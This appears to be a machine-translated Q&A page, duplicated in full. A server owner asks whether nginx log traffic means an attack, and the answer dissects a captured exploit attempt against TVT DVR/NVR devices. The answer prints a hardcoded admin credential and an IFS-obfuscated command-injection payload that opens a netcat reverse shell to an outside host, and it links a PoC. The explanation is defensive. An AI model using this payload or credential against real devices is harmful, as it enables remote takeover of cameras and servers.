这是 ubuntu 18.04 上的 nginx 错误日志的一部分。我的 nodejs 服务器有一个持续的 http 请求。我的问题是服务器是否受到攻击？网上查了一下，52.69.23.0/255.255.255.0离日本东京一个街区。

任何连接到 public 互联网的服务器都会在某种程度上受到攻击，即使它并不容易受到攻击。 Internet 范围内的漏洞扫描会找到适合您的方式。流量表示 PHP 扫描和最近在我的 IPS 上显示的其他一些有趣的流量：
主机 93.174.93[.]178 向目的地 URL "editBlackAndWhiteList" 发送 HTTP POST 请求，使用 Base64 编码凭据：
admin:{12213BD1-69C7-4862-843D-260500D1DA40}
XML 负载：
refuse allow ip iprange mac true refuse true ip $(nc${IFS}93.174.93.178${IFS}31337${IFS}-e${IFS}$SHELL&)
IFS 代表 "internal field separator"。 shell 使用它来确定如何进行分词。
IFS 的默认值由白色space 个字符（space、制表符和换行符）组成。 $IFS or ${IFS}，常用于命令注入，代替白色space。对于许多命令行解释器，shells 的 Unix 操作系统，内部字段分隔符是一个变量，它定义用于将模式分隔为某些操作的标记的字符。
$(nc 93.174.93[.]178 31337 -e $SHELL&) – Netcat 反向 Shell 到端口 31337 上的主机 93.174.93[.]178。
Fortinet 对此流量有一个 IPS 签名，“HTTP.Unix.Shell.IFS.Remote.Code.Execution.” 它表示检测到使用内部字段分隔符的可疑 HTTP 请求。
https://fortiguard.com/encyclopedia/ips/45677/http-unix-shell-ifs-remote-code-execution
Snort IPS 在签名下标记此流量，“ET POLICY Incoming Basic Auth Base64 HTTP Password detected unencrypted.”
主机试图通过硬编码的 'admin' Web GUI 密码利用深圳市同天数码科技有限公司和 OEM {DVR/NVR/IPC} API 中的远程代码执行漏洞获得反向 shell。 GitHub 上有六个 POC：https://github.com/mcw0/PoC/blob/master/TVT_and_OEM_IPC_NVR_DVR_RCE_Backdoor_and_Information_Disclosure.txt
明智的做法是在您的网络服务器前设置一个 IPS。
这是 ubuntu 18.04 上的 nginx 错误日志的一部分。我的 nodejs 服务器有一个持续的 http 请求。我的问题是服务器是否受到攻击？网上查了一下，52.69.23.0/255.255.255.0离日本东京一个街区。

任何连接到 public 互联网的服务器都会在某种程度上受到攻击，即使它并不容易受到攻击。 Internet 范围内的漏洞扫描会找到适合您的方式。流量表示 PHP 扫描和最近在我的 IPS 上显示的其他一些有趣的流量：
主机 93.174.93[.]178 向目的地 URL "editBlackAndWhiteList" 发送 HTTP POST 请求，使用 Base64 编码凭据：
admin:{12213BD1-69C7-4862-843D-260500D1DA40}
XML 负载：
refuse allow ip iprange mac true refuse true ip $(nc${IFS}93.174.93.178${IFS}31337${IFS}-e${IFS}$SHELL&)
IFS 代表 "internal field separator"。 shell 使用它来确定如何进行分词。
IFS 的默认值由白色space 个字符（space、制表符和换行符）组成。 $IFS or ${IFS}，常用于命令注入，代替白色space。对于许多命令行解释器，shells 的 Unix 操作系统，内部字段分隔符是一个变量，它定义用于将模式分隔为某些操作的标记的字符。
$(nc 93.174.93[.]178 31337 -e $SHELL&) – Netcat 反向 Shell 到端口 31337 上的主机 93.174.93[.]178。
Fortinet 对此流量有一个 IPS 签名，“HTTP.Unix.Shell.IFS.Remote.Code.Execution.” 它表示检测到使用内部字段分隔符的可疑 HTTP 请求。
https://fortiguard.com/encyclopedia/ips/45677/http-unix-shell-ifs-remote-code-execution
Snort IPS 在签名下标记此流量，“ET POLICY Incoming Basic Auth Base64 HTTP Password detected unencrypted.”
主机试图通过硬编码的 'admin' Web GUI 密码利用深圳市同天数码科技有限公司和 OEM {DVR/NVR/IPC} API 中的远程代码执行漏洞获得反向 shell。 GitHub 上有六个 POC：https://github.com/mcw0/PoC/blob/master/TVT_and_OEM_IPC_NVR_DVR_RCE_Backdoor_and_Information_Disclosure.txt
明智的做法是在您的网络服务器前设置一个 IPS。
